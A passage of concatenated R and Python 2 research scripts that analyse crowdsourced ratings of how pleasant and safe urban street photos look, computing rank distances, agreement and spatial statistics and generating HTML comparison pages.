all[all$variable == "streeFur2",]$random<- sum(agrad.l2$rstreeFur2)
all[all$variable == "basCol2",]$random<- sum(agrad.l2$rbasCol2)
all[all$variable == "accenCol2",]$random<- sum(agrad.l2$raccenCol2)
all[all$variable == "peop2",]$random<- sum(agrad.l2$rpeop2)
all[all$variable == "buildDiffAges2",]$random<- sum(agrad.l2$rbuildDiffAges2)
all[all$variable == "graff2",]$random<- sum(agrad.l2$rgraff2)
all[all$variable == "ligh2",]$random<- sum(agrad.l2$rligh2)
all$sd <- 0
all[all$variable == "movCars2",]$sd <- agrad.l2$rsdmovCars2
all[all$variable == "parkCars2",]$sd <- agrad.l2$rsdparkCars2
all[all$variable == "movCicly2",]$sd <- agrad.l2$rsdmovCicly2
all[all$variable == "buildId2",]$sd <- agrad.l2$rsdbuildId2
all[all$variable == "buildNRec2",]$sd <- agrad.l2$rsdbuildNRec2
all[all$variable == "tree2",]$sd <- agrad.l2$rsdtree2
all[all$variable == "smallPla2",]$sd <- agrad.l2$rsdsmallPla2
all[all$variable == "diffBuild2",]$sd <- agrad.l2$rsddiffBuild2
all[all$variable == "streeFur2",]$sd <- agrad.l2$rsdstreeFur2
all[all$variable == "basCol2",]$sd <- agrad.l2$rsdbasCol2
all[all$variable == "accenCol2",]$sd <- agrad.l2$rsdaccenCol2
all[all$variable == "peop2",]$sd <- agrad.l2$rsdpeop2
all[all$variable == "buildDiffAges2",]$sd <- agrad.l2$rsdbuildDiffAges2
all[all$variable == "graff2",]$sd <- agrad.l2$rsdgraff2
all[all$variable == "ligh2",]$sd <- agrad.l2$rsdligh2
print("### All")
print("##### Summary")
print( all %>% group_by(variable) %>% summarise( som=sum(value)/mean(sumDen), rand=mean(random)/mean(sumDen), std=mean(sd)/mean(sumDen) ) %>% arrange(desc(som)) )
print("##### List")
print( arrange(all, desc(value)) )
print(">>>>>>>> Two lists with all features together Flavio coeff - real world and shuffle world")
real <- melt(select(agrad.l2, movCars2, parkCars2, movCicly2, buildId2, buildNRec2, tree2, smallPla2, diffBuild2, streeFur2, basCol2, ligh2, accenCol2, peop2, graff2, buildDiffAges2, image_url), id=c("image_url"))
real$sumDen <- 0
real[real$variable == "movCars2",]$sumDen <- agrad.l2$sumMovCars
real[real$variable == "parkCars2",]$sumDen <- agrad.l2$sumParkCars
real[real$variable == "movCicly2",]$sumDen <- agrad.l2$sumMovCicly
real[real$variable == "buildId2",]$sumDen <- agrad.l2$sumBuildId
real[real$variable == "buildNRec2",]$sumDen <- agrad.l2$sumBuildNRec
real[real$variable == "tree2",]$sumDen <- agrad.l2$sumTree
real[real$variable == "smallPla2",]$sumDen <- agrad.l2$sumSmallPla
real[real$variable == "diffBuild2",]$sumDen <- agrad.l2$sumDiffBuild
real[real$variable == "streeFur2",]$sumDen <- agrad.l2$sumStreeFur
real[real$variable == "basCol2",]$sumDen <- agrad.l2$sumBasCol
real[real$variable == "accenCol2",]$sumDen <- agrad.l2$sumAccenCol
real[real$variable == "peop2",]$sumDen <- agrad.l2$sumPeop
real[real$variable == "buildDiffAges2",]$sumDen <- agrad.l2$sumBuildDiffAges
real[real$variable == "graff2",]$sumDen <- agrad.l2$sumGraff
real[real$variable == "ligh2",]$sumDen <- agrad.l2$sumLigh
shuff <- melt(select(agrad.l2, rmovCars2, rparkCars2, rmovCicly2, rbuildId2, rbuildNRec2, rtree2, rsmallPla2, rdiffBuild2, rstreeFur2, rbasCol2, rligh2, raccenCol2, rpeop2, rgraff2, rbuildDiffAges2, image_url), id=c("image_url"))
shuff$sd <- 0
shuff[shuff$variable == "rmovCars2",]$sd <- agrad.l2$rsdmovCars2
shuff[shuff$variable == "rparkCars2",]$sd <- agrad.l2$rsdparkCars2
shuff[shuff$variable == "rmovCicly2",]$sd <- agrad.l2$rsdmovCicly2
shuff[shuff$variable == "rbuildId2",]$sd <- agrad.l2$rsdbuildId2
shuff[shuff$variable == "rbuildNRec2",]$sd <- agrad.l2$rsdbuildNRec2
shuff[shuff$variable == "rtree2",]$sd <- agrad.l2$rsdtree2
shuff[shuff$variable == "rsmallPla2",]$sd <- agrad.l2$rsdsmallPla2
shuff[shuff$variable == "rdiffBuild2",]$sd <- agrad.l2$rsddiffBuild2
shuff[shuff$variable == "rstreeFur2",]$sd <- agrad.l2$rsdstreeFur2
shuff[shuff$variable == "rbasCol2",]$sd <- agrad.l2$rsdbasCol2
shuff[shuff$variable == "raccenCol2",]$sd <- agrad.l2$rsdaccenCol2
shuff[shuff$variable == "rpeop2",]$sd <- agrad.l2$rsdpeop2
shuff[shuff$variable == "rbuildDiffAges2",]$sd <- agrad.l2$rsdbuildDiffAges2
shuff[shuff$variable == "rgraff2",]$sd <- agrad.l2$rsdgraff2
shuff[shuff$variable == "rligh2",]$sd <- agrad.l2$rsdligh2
shuff$sumDen <- 0
shuff[shuff$variable == "rmovCars2",]$sumDen <- agrad.l2$sumMovCars
shuff[shuff$variable == "rparkCars2",]$sumDen <- agrad.l2$sumParkCars
shuff[shuff$variable == "rmovCicly2",]$sumDen <- agrad.l2$sumMovCicly
shuff[shuff$variable == "rbuildId2",]$sumDen <- agrad.l2$sumBuildId
shuff[shuff$variable == "rbuildNRec2",]$sumDen <- agrad.l2$sumBuildNRec
shuff[shuff$variable == "rtree2",]$sumDen <- agrad.l2$sumTree
shuff[shuff$variable == "rsmallPla2",]$sumDen <- agrad.l2$sumSmallPla
shuff[shuff$variable == "rdiffBuild2",]$sumDen <- agrad.l2$sumDiffBuild
shuff[shuff$variable == "rstreeFur2",]$sumDen <- agrad.l2$sumStreeFur
shuff[shuff$variable == "rbasCol2",]$sumDen <- agrad.l2$sumBasCol
shuff[shuff$variable == "raccenCol2",]$sumDen <- agrad.l2$sumAccenCol
shuff[shuff$variable == "rpeop2",]$sumDen <- agrad.l2$sumPeop
shuff[shuff$variable == "rbuildDiffAges2",]$sumDen <- agrad.l2$sumBuildDiffAges
shuff[shuff$variable == "rgraff2",]$sumDen <- agrad.l2$sumGraff
shuff[shuff$variable == "rligh2",]$sumDen <- agrad.l2$sumLigh
print("### Real")
print("##### Summary")
print( real %>% group_by(variable) %>% summarise( som=sum(value)/(mean(sumDen)) ) %>% arrange(desc(som)) )
print("##### List")
print( arrange(real, desc(value)) )
print("### Shuffle")
print("##### Summary")
print( shuff %>% group_by(variable) %>% summarise( som=sum(value)/(mean(sumDen)), std=mean(sd) ) %>% arrange(desc(som)) )
print("##### List")
print( arrange(shuff, desc(value)) )
}
mergeSort <- function(x){
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance2 <- function(data1, data2){
x <- data1
y <- data2
tau = numberOfInversions(order(x)[rank(y)])
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
print (normalized)
}
print("################### Low x High income - Pleasantness")
#Baixa renda x Media renda
agrad.l <- agrad %>%
do(arrange(., desc(V3.Baixa))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Media))) %>% mutate(index = 1:n())
#Danieles coefficients
#agrad.l <- calcDanieleCoeff(agrad.l)
#agrad.l2 <- simulateCoefShuffle(agrad.l,iterations)
library(compiler)
compiledKendall <- cmpfun(kendallWithWeights)
#All places
print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(agrad.l$V3.Baixa, agrad.l$V3.Media)))
res <- melt(compiledKendall(agrad.l, iterations))
print(res, row.names=FALSE)
convertSummary(res)
#printOutputOneListPerFeature(agrad.l2, "V3.Baixa", "V3.Media")
#printOutputTwoListsPerFeature(agrad.l2, "V3.Baixa", "V3.Media")
#printOutputTwoListsAllFeaturesTog(agrad.l2)
print("################### Low x High income - Safety")
#Baixa renda x Media renda
seg.l <- seg %>%
do(arrange(., desc(V3.Baixa))) %>%
mutate(rank = 1:n()) %>% do(arrange(., desc(V3.Media))) %>% mutate(index = 1:n())
#seg.l <- calcDanieleCoeff(seg.l)
#seg.l2 <- simulateCoefShuffle(seg.l,iterations)
#All places
print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(seg.l$V3.Baixa, seg.l$V3.Media)))
res <- melt(compiledKendall(seg.l, iterations))
print(res, row.names=FALSE)
convertSummary(res)
#Sectors with difference
diff <- filter(seg.l, setor == "25040090500004") #LH Cen e Lib
print(paste(">>>> Kendall Distance 0004-Cen", normalizedKendallTauDistance2(diff$V3.Baixa, diff$V3.Media)))
res <- melt(compiledKendall(diff, iterations))
print(res, row.names=FALSE)
convertSummary(res)
diff <- filter(seg.l, setor == "250400905000089") #LH Cen e Lib
print(paste(">>>> Kendall Distance 0089-Lib", normalizedKendallTauDistance2(diff$V3.Baixa, diff$V3.Media)))
res <- melt(compiledKendall(diff, iterations))
print(res, row.names=FALSE)
convertSummary(res)
#printOutputOneListPerFeature(seg.l2, "V3.Baixa", "V3.Media")
#printOutputTwoListsPerFeature(seg.l2, "V3.Baixa", "V3.Media")
#printOutputTwoListsAllFeaturesTog(seg.l2)
<file_sep># coding=utf-8
# Prepares tasks and users data for classification
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
completeTie = 'equal'
left = 'left'
right = 'right'
notKnown = 'notknown'
def readTasksExecution(lines, tasksDefinitions, usersDefinitions, imagesDefinitions):
#Header
print "question\tphoto1\tphoto2\tchoice\tuserID\tage\tgender\tincome\teducation\tcity\tmarital\tstreet_wid1\tmov_cars1\tpark_cars1\tmov_ciclyst1\tlandscape1\tbuild_ident1\ttrees1\tbuild_height1\tdiff_build1\tpeople1\tgraffiti1\tbairro1\tstreet_wid2\tmov_cars2\tpark_cars2\tmov_ciclyst2\tlandscape2\tbuild_ident2\ttrees2\tbuild_height2\tdiff_build2\tpeople2\tgraffiti2\tbairro2"
for line in lines:
data = line.split("+")
executionID = data[0].strip(' \t\n\r')
taskID = data[3].strip(' \t\n\r"')
userID = data[4].strip(' \t\n\r"')
userAnswer = data[9].strip(' \t\n\r"')
#print imagesDefinitions.keys()
if usersDefinitions.has_key(userID):
userInfo = usersDefinitions[userID]#Retrieving user data
if executionID[0].lower() == 'n':#MaxDiff design
answer = json.loads(userAnswer)
question = answer['question'].strip(' \t\n\r"')
photo1 = answer['theMost'].strip(' \t\n\r"')
photo2 = answer['theLess'].strip(' \t\n\r"')
taskDef = tasksDefinitions[taskID]
photos = Set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
if photo1 != completeTie:
photos.remove(photo1)
photos.remove(photo2)
else:
photo1 = photos.pop()
photo2 = photos.pop()
photo3 = photos.pop()
photo4 = photos.pop()
photo1Info = imagesDefinitions["/".join(photo1.split("/")[5:])]
photo2Info = imagesDefinitions["/".join(photo2.split("/")[5:])]
photo3Info = imagesDefinitions["/".join(photo3.split("/")[5:])]
photo4Info = imagesDefinitions["/".join(photo4.split("/")[5:])]
#Saving votes from task-run
if photo1 != completeTie:
print(question + "\t" + photo1 + "\t" + photo2 + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r'))
print(question + "\t" + photo1 + "\t" + photo3 + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r'))
print(question + "\t" + photo1 + "\t" + photo4 + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r'))
print(question + "\t" + photo2 + "\t" + photo3 + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r'))
print(question + "\t" + photo2 + "\t" + photo4 + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r'))
print(question + "\t" + photo3 + "\t" + photo4 + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r'))
else:
print(question + "\t" + photo1 + "\t" + photo2 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r'))
print(question + "\t" + photo1 + "\t" + photo3 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r'))
print(question + "\t" + photo1 + "\t" + photo4 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r'))
print(question + "\t" + photo2 + "\t" + photo3 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo3Info).strip(' \t\n\r'))
print(question + "\t" + photo2 + "\t" + photo4 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo2Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r'))
print(question + "\t" + photo3 + "\t" + photo4 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo3Info).strip(' \t\n\r') + "\t" + "\t".join(photo4Info).strip(' \t\n\r'))
else:#Pairwise comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
photo1Info = imagesDefinitions["/".join(photo1.split("/")[5:])]
photo2Info = imagesDefinitions["/".join(photo2.split("/")[5:])]
if answer.lower() == left:
print(question + "\t" + photo1 + "\t" + photo2 + "\t" + "-1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r'))
elif answer.lower() == right:
print(question + "\t" + photo1 + "\t" + photo2 + "\t" + "1" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r'))
else:
#print(photo1)
#print(photo2)
#print(" ".join(userInfo))
#print(photo1Info)
#print(" ".join(photo2Info))
print(question + "\t" + photo1 + "\t" + photo2 + "\t" + "0" + "\t" + userID + "\t" + "\t".join(userInfo) + "\t" + "\t".join(photo1Info).strip(' \t\n\r') + "\t" + "\t".join(photo2Info).strip(' \t\n\r'))
return tasksDef
def readTasksDefinitions(linesTasks):
tasksDef = {}
for line in linesTasks:
data = line.split("+")
taskID = data[0].strip(' \t\n\r')
currentDef = json.loads(data[7].strip(' \t\n\r\"'))
tasksDef[taskID] = currentDef
return tasksDef
possibleIncomesOld = ["Baixa (at\u00e9 R$ 1.449,99)", "M\u00e9dia Baixa (R$ 1.450 a R$ 2.899,99)", "M\u00e9dia (R$ 2.900 a R$ 7.249,99)", "M\u00e9dia Alta (R$ 7.250 a R$ 14.499,99)", "Alta (R$ 14.500 ou mais)"]
possibleIncomesNew = ["baixa", "media baixa", "media", "media alta", "alta"]
def readUsersDefinitions(linesUsers):
usersDef = {}
for line in linesUsers:
data = line.split("|")
#print data
userID = data[0].strip(' \t\n\r')
userInfoData = data[1].strip(' \t\n\r')
if len(userInfoData) == 0:
#usersDef[userID] = ['', '', '', '', '', '', '', '[]']
continue
else:
userInfo = userInfoData.split("+")
if len(userInfo[0]) == 0 and len(userInfo[1]) == 0 and len(userInfo[2]) == 0 and len(userInfo[3]) == 0 and len(userInfo[4]) == 0 and len(userInfo[5]) == 0 and len(userInfo[6]) == 0:
#usersDef[userID] = ['', '', '', '', '', '', '', '[]']
continue
else:
#print userInfo
gender = ""
if len(userInfo[1]) > 0:
if userInfo[1][0].lower() == 'm':
gender = "masculino"
else:
gender = "feminino"
income = ""
if len(userInfo[2]) > 0:
if userInfo[2] == possibleIncomesOld[0] or userInfo[2] == possibleIncomesNew[0]:
income = "baixa"
elif userInfo[2] == possibleIncomesOld[1] or userInfo[2] == possibleIncomesNew[1]:
income = "media baixa"
elif userInfo[2] == possibleIncomesOld[2] or userInfo[2] == possibleIncomesNew[2]:
income = "media"
elif userInfo[2] == possibleIncomesOld[3] or userInfo[2] == possibleIncomesNew[3]:
income = "media alta"
elif userInfo[2] == possibleIncomesOld[4] or userInfo[2] == possibleIncomesNew[4]:
income = "alta"
educ = ""
if len(userInfo[3]) > 0:
if userInfo[3][0].lower() == 'e':
educ = "ensino medio"
elif userInfo[3][0].lower() == 'g':
educ = "graduacao"
elif userInfo[3][0].lower() == 'm':
educ = "mestrado"
elif userInfo[3][0].lower() == 'd':
educ = "doutorado"
#User profile: age, gender, income, education, city, marital status
# usersDef[userID] = [userInfo[0].strip(' \t\n\r'), gender, income, educ, userInfo[4].lower(), userInfo[6].lower()]
usersDef[userID] = [userInfo[0].strip(' \t\n\r'), gender, income, educ, "", userInfo[6].lower()]
return usersDef
def readImagesDefinitions(lines):
imagesDef = {}
for line in lines:
data = line.split(" ")
imagesDef[data[0]] = data[1:]
return imagesDef
def convertTo2Classes(input_3cl_file):
input_3cl = pd.read_table(input_3cl_file, sep='\t', encoding='utf8', header=0)
#Remove draws
wodraw_input = input_3cl[(input_3cl.choice != 0)]
wodraw_input.to_csv("classifier_input_wodraw.dat", sep = "\t")
#Convert to left; not-left
#left_input = input_3cl.copy()
#new_data = left_input.choice.replace(0, 1)
#left_input['choice'] = new_data
#left_input.to_csv("classifier_input_lnl.dat", sep = "\t")
#Convert to right; not-right
#right_input = input_3cl.copy()
#new_data = right_input.choice.replace(0, -1)
#right_input['choice'] = new_data
#right_input.to_csv("classifier_input_rnr.dat", sep = "\t")
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <action: create or convert> <arquivo com execuções das tarefas> <arquivo com definicoes de tarefas> <arquivo com dados dos usuarios> <arquivos com dados das imagens>"
sys.exit(1)
if sys.argv[1].lower() == 'create':
tasksDef = readTasksDefinitions(open(sys.argv[3], 'r').readlines())
usersDef = readUsersDefinitions(open(sys.argv[4], 'r').readlines())
imagesDef = readImagesDefinitions(open(sys.argv[5], 'r').readlines())
tasksExecution = readTasksExecution(open(sys.argv[2], 'r').readlines(), tasksDef, usersDef, imagesDef)
elif sys.argv[1].lower() == 'convert':
convertTo2Classes("classifier_input_3classes.dat")
<file_sep>#!/bin/Rscript
# Calculates the Krippendorf Alpha for general data and the Moran I score
library(irr)
library(ape)
args <- commandArgs(trailingOnly = TRUE)
#Kripp
krippAlpha <- function () {
agra <- args[2]
seg <- args[3]
dadosAgra <- read.table(agra, header=TRUE, row.names=1)
dadosSeg <- read.table(seg, header=TRUE, row.names=1)
matrizAgra <- data.matrix(dadosAgra)
matrizSeg <- data.matrix(dadosSeg)
res <- kripp.alpha(matrizAgra, method="nominal")
res1 <- kripp.alpha(matrizSeg, method="nominal")
print (res)
print (res1)
}
#Moran I
moranI <- function () {
agra <- args[2]
seg <- args[3]
data <- read.table(agra, sep="+", header=F)
data.dists <- as.matrix(dist(cbind(data$V5, data$V4)))
data.dists.inv <- 1/(1+data.dists)
diag(data.dists.inv) <- 0
print(">> Agradavel observed expected p.value")
result <- Moran.I(data$V3, data.dists.inv)
print(paste(result$observed, " ", result$expected, " ", result$p.value))
data <- read.table(seg, sep="+", header=F)
data.dists <- as.matrix(dist(cbind(data$V5, data$V4)))
data.dists.inv <- 1/(1+data.dists)
diag(data.dists.inv) <- 0
print(">> Seguro observed expected p.value")
result <- Moran.I(data$V3, data.dists.inv)
print(paste(result$observed, " ", result$expected, " ", result$p.value))
}
execute <- args[1]
if (execute == 'both'){
krippAlpha()
moranI()
} else if (execute == 'moran') {
moranI()
} else if (execute == 'kripp') {
krippAlpha()
}
<file_sep># coding=utf-8
# Prepares a HTML page containing the photos and their QScore per question, filtered according to an intersection file containing the set of photos to be considered or not, and prints the set of photos that will appear in the HTML page
import sys
from sets import Set
import numpy
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
def compare(item1, item2):
info1 = abs(float(item1.split(" ")[2]) - float(item1.split(" ")[3]))
info2 = abs(float(item2.split(" ")[2]) - float(item2.split(" ")[3]))
if info1 < info2:
return -1
elif info1 > info2:
return 1
else:
return 0
def completePhoto(photo):
if 'liberdade' in photo or 'catole' in photo:
#print photo+" oeste"
return "oeste/"+photo
if "centro" in photo:
#print photo+" norte"
return "norte/"+photo
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com fotos, grupos, questoes e diferencas> <arquivo com qscores por grupos> <arquivo com fotos, questao, qscore e desvio>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
geralFile = open(sys.argv[2], 'r')
dispersionFile = open(sys.argv[3], 'r')
outputFile = open("questionDiferencas.html", 'w')
outputFile2 = open("questionDiferencasPorVisao.html", 'w')
outputFile3 = open("questionDiferencasPorDispersao.html", 'w')
linesDiferences = dataFile.readlines()
linesGeral = geralFile.readlines()
linesDisp = dispersionFile.readlines()
results = {'Hom\tMul\n' : [], 'Cas\tSol\n' : [], 'Med\tBaixa\n' : [], 'Jov\tAdu\n' : [], 'Medio\tPos\n' : []}
groups = {'Masculino' : {}, 'Feminino' : {}, 'Media' : {}, 'Baixa' : {}, 'Jovem' : {}, 'Adulto' : {}, 'Medio' : {}, 'Pos' : {}, 'Geral' : {}}
disp = {possibleQuestions[0] : {}, possibleQuestions[1]: {}}
dispPhotosOrder = {possibleQuestions[0] : [], possibleQuestions[1]: []}
#Reading images qscore and sd per group and question
for i in range(0, len(linesDisp)):
data = linesDisp[i].split(" ")
question = data[1].strip("\" ")
group = data[2].strip()
photo = data[3].strip()
qscore = data[4].strip()
sd = data[5].strip()
#disp[question][photo] = position + " "
if group == "Feminino":
disp[question][photo] = str(i) + " " + question + " " + group + " " + photo + " " + str(qscore) + " " + str(sd)
dispPhotosOrder[question].append(photo)
#Reading images general information and qscores
for line in linesGeral[1:]:
data = line.split(" ")
photo = data[0].strip()
question = data[1].strip()
qscores = [float(x) for x in data[2:103]]
group = data[103].strip()
if group in groups.keys():
if not groups[group].has_key(photo):
groups[group][photo] = {}
groups[group][photo][question] = qscores
#Complementing dispersion info
#if disp[question].has_key(photo) and group == "Geral":
# values = []
# for i in range(3, 103):
# values.append(float(data[i]))
# disp[question][photo] += str(qscore)+" "+str(numpy.std(values))+" "
#Writing html for differences according to photo angle
counter = 0
outputFile2.write("<body style=\"overflow:scroll\">\n");
for group in groups.keys():
photos = groups[group].keys()
photos.sort()
outputFile2.write("<h2>"+group+"</h2>")
questions = ["agrad%C3%A1vel?", "seguro?"]
for question in questions:
outputFile2.write("<h3>"+question+"</h3>")
outputFile2.write("<table>\n")
outputFile2.write("<tr>\n")
writeDataList = []
#Selecting photos to show!
for i in range(0, len(photos)-1):
current = ''.join(photos[i].replace("__", "+").replace("_", "+").split("+")[:-1])
next = ''.join(photos[i+1].replace("__", "+").replace("_", "+").split("+")[:-1])
if current == next:
#for question in groups[group][photos[i]]:
if groups[group][photos[i+1]].has_key(question) and groups[group][photos[i]].has_key(question):
questionCurrent = groups[group][photos[i]][question][0]
questionNext = groups[group][photos[i+1]][question][0]
#Photos with qscore difference greater than 1.0
if abs(questionCurrent - questionNext) > 1.0:
sd = numpy.std(groups[group][photos[i]][question])
sd2 = numpy.std(groups[group][photos[i+1]][question])
writeDataList.append(photos[i]+" "+photos[i+1]+" "+str(questionCurrent) + " " + str(questionCurrent + (sd/100) * 1.959964) + " " + str(questionCurrent - (sd/100) * 1.959964) + " " + str(questionNext) + " " + str(questionNext + (sd2/100) * 1.959964) + " " + str(questionNext - (sd2/100) * 1.959964))
#Building html elements to show photos
writeDataList = sorted(writeDataList, compare)
for i in range(0, len(writeDataList)-1):
data = writeDataList[i].split(" ")
photoUrl = completePhoto(data[0])
photoUrl2 = completePhoto(data[1])
outputFile2.write("<td><img src=\"https://contribua.org/bairros/"+photoUrl+"\" width=\"400\" height=\"300\"></td>\n")
outputFile2.write("<td><img src=\"https://contribua.org/bairros/"+photoUrl2+"\" width=\"400\" height=\"300\"></td>\n")
outputFile2.write("<td>"+str(data)+"</td>\n")
counter += 1
if counter % 2 == 0:
outputFile2.write("</tr>\n")
outputFile2.write("<tr>\n")
outputFile2.write("</tr>\n")
outputFile2.write("</table>")
outputFile2.write("</body>\n")
#Reading images with bigger differences between groups
counter = 0
group = ""
for i in range(0, 55):
line = linesDiferences[i]
if counter == 11:
counter = 0
if counter == 0:
group = line
counter = counter + 1
else:
data = line.split(" ")
photo = data[0].strip(' \t\n\r"')
diferenca = data[6].strip(' \t\n\r')
questao = data[9].strip(' \t\n\r"')
results[group].append(photo+" "+diferenca+" "+questao)
counter = counter + 1
#Writing html for differences according groups differences
outputFile.write("<body style=\"overflow:scroll\">\n");
counter = 0
for group, items in results.iteritems():
#print str(group) + " " + str(items)
outputFile.write("<h2>"+group+"</h2>")
outputFile.write("<table>\n")
outputFile.write("<tr>\n")
for data in items:
currentData = data.split(" ")
outputFile.write("<td><img src=\"https://contribua.org/bairros/"+currentData[0]+"\" width=\"400\" height=\"300\"></td>\n")
outputFile.write("<td>"+currentData[0] + " " + currentData[1]+" "+currentData[2]+"</td>\n")
counter += 1
if counter % 3 == 0:
outputFile.write("</tr>\n")
outputFile.write("<tr>\n")
outputFile.write("</tr>\n")
outputFile.write("</table>")
outputFile.write("</body>\n")
#Writing html for differences according to photo qscores dispersion
outputFile3.write("<body style=\"overflow:scroll\">\n");
counter = 0
for question in disp.keys():
photosOfQuestion = disp[question].keys()
outputFile3.write("<h2>"+question+"</h2>")
outputFile3.write("<table>\n")
outputFile3.write("<tr>\n")
for photo in dispPhotosOrder[question]:
if photo in photosOfQuestion:
currentData = disp[question][photo]
photoUrl = completePhoto(photo)
outputFile3.write("<td><img src=\"https://contribua.org/bairros/"+photoUrl+"\" width=\"400\" height=\"300\"></td>\n")
outputFile3.write("<td>"+ currentData +"</td>\n")
counter += 1
if counter % 3 == 0:
outputFile3.write("</tr>\n")
outputFile3.write("<tr>\n")
outputFile3.write("</tr>\n")
outputFile3.write("</table>")
outputFile3.write("</body>\n")
dataFile.close()
geralFile.close()
dispersionFile.close()
outputFile.close()
outputFile2.close()
outputFile3.close()
<file_sep># coding=utf-8
from PIL import Image, ImageDraw, ImageFont
import urllib, cStringIO
import sys
import urllib, json
from os import listdir, mkdir
import pickle
import operator
class MyRectangle(object):
""" A simple class to represent a rectangle """
def __init__(self, x_left, y_left, x_right, y_right):
self.x_left = x_left
self.y_left = y_left
self.x_right = x_right
self.y_right = y_right
def getBottomLeftCorner(self):
return [self.x_left, self.y_left]
def getWidth(self):
return self.x_right - self.x_left
def getHeight(self):
return self.y_right - self.y_left
def getAllVertices(self):
return [[self.x_left, self.y_left], [self.x_right, self.y_left], [self.x_right, self.y_right], [self.x_left, self.y_right]]
def getMinX(self):
return self.x_left
def getMinY(self):
return self.y_left
def getMaxX(self):
return self.x_right
def getMaxY(self):
return self.y_right
def __str__(self):
return "RECT: [(" + str(self.x_left) + "," + str(self.y_left) + "), (" + str(self.x_right) + "," + str(self.y_right) + ")]"
def save_image_marks(image, current_map, path, color):
# get an image
file = cStringIO.StringIO(urllib.urlopen(image).read())
base = Image.open(file)
draw = ImageDraw.Draw(base)
image_data = current_map[image]
#print str(image_data)
for values in image_data:
points = values[1]
for sublist in points:
for point in sublist:
x = point[0]
y = point[1]
eX, eY = 5, 5 #Size of Bounding Box for ellipse
bbox = (x - eX/2, y - eY/2, x + eX/2, y + eY/2)
draw.ellipse(bbox, fill=color)
image_name = urllib.unquote(image.split("/")[6]).decode('utf8')
base.save(path+image_name, "JPEG")
def create_rows(images, current_map, folder, output_file):
counter = 0
keys = []
for key in current_map.keys():#Decoding keys from task-run
new_key = urllib.unquote(key).decode('utf8')
keys.append([new_key, key])
for image in images:
selected_key = None
for key_list in keys:
if image.decode("utf8") in key_list[0]:
selected_key = key_list[1]
break
image_points = len(current_map.get(selected_key))#UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 5: ordinal not in range(128)
output_file.write("<td><img src=\""+ str(folder) + str(image) + "\" width=\"400\" height=\"300\"></td>\n")
output_file.write("<td>" + folder + image + " " + str(image_points) + "</td>\n")
counter += 1
if counter % 3 == 0:
output_file.write("</tr>\n")
output_file.write("<tr>\n")
def compute_rectangles(current_marks):
rectangles = []
for mark in current_marks:
